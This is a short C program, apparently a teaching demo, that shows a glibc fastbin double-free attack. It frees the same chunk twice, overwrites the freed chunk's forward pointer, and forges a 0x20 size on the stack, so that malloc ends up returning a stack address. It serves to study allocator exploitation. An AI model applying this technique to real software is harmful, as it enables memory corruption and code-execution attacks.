#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}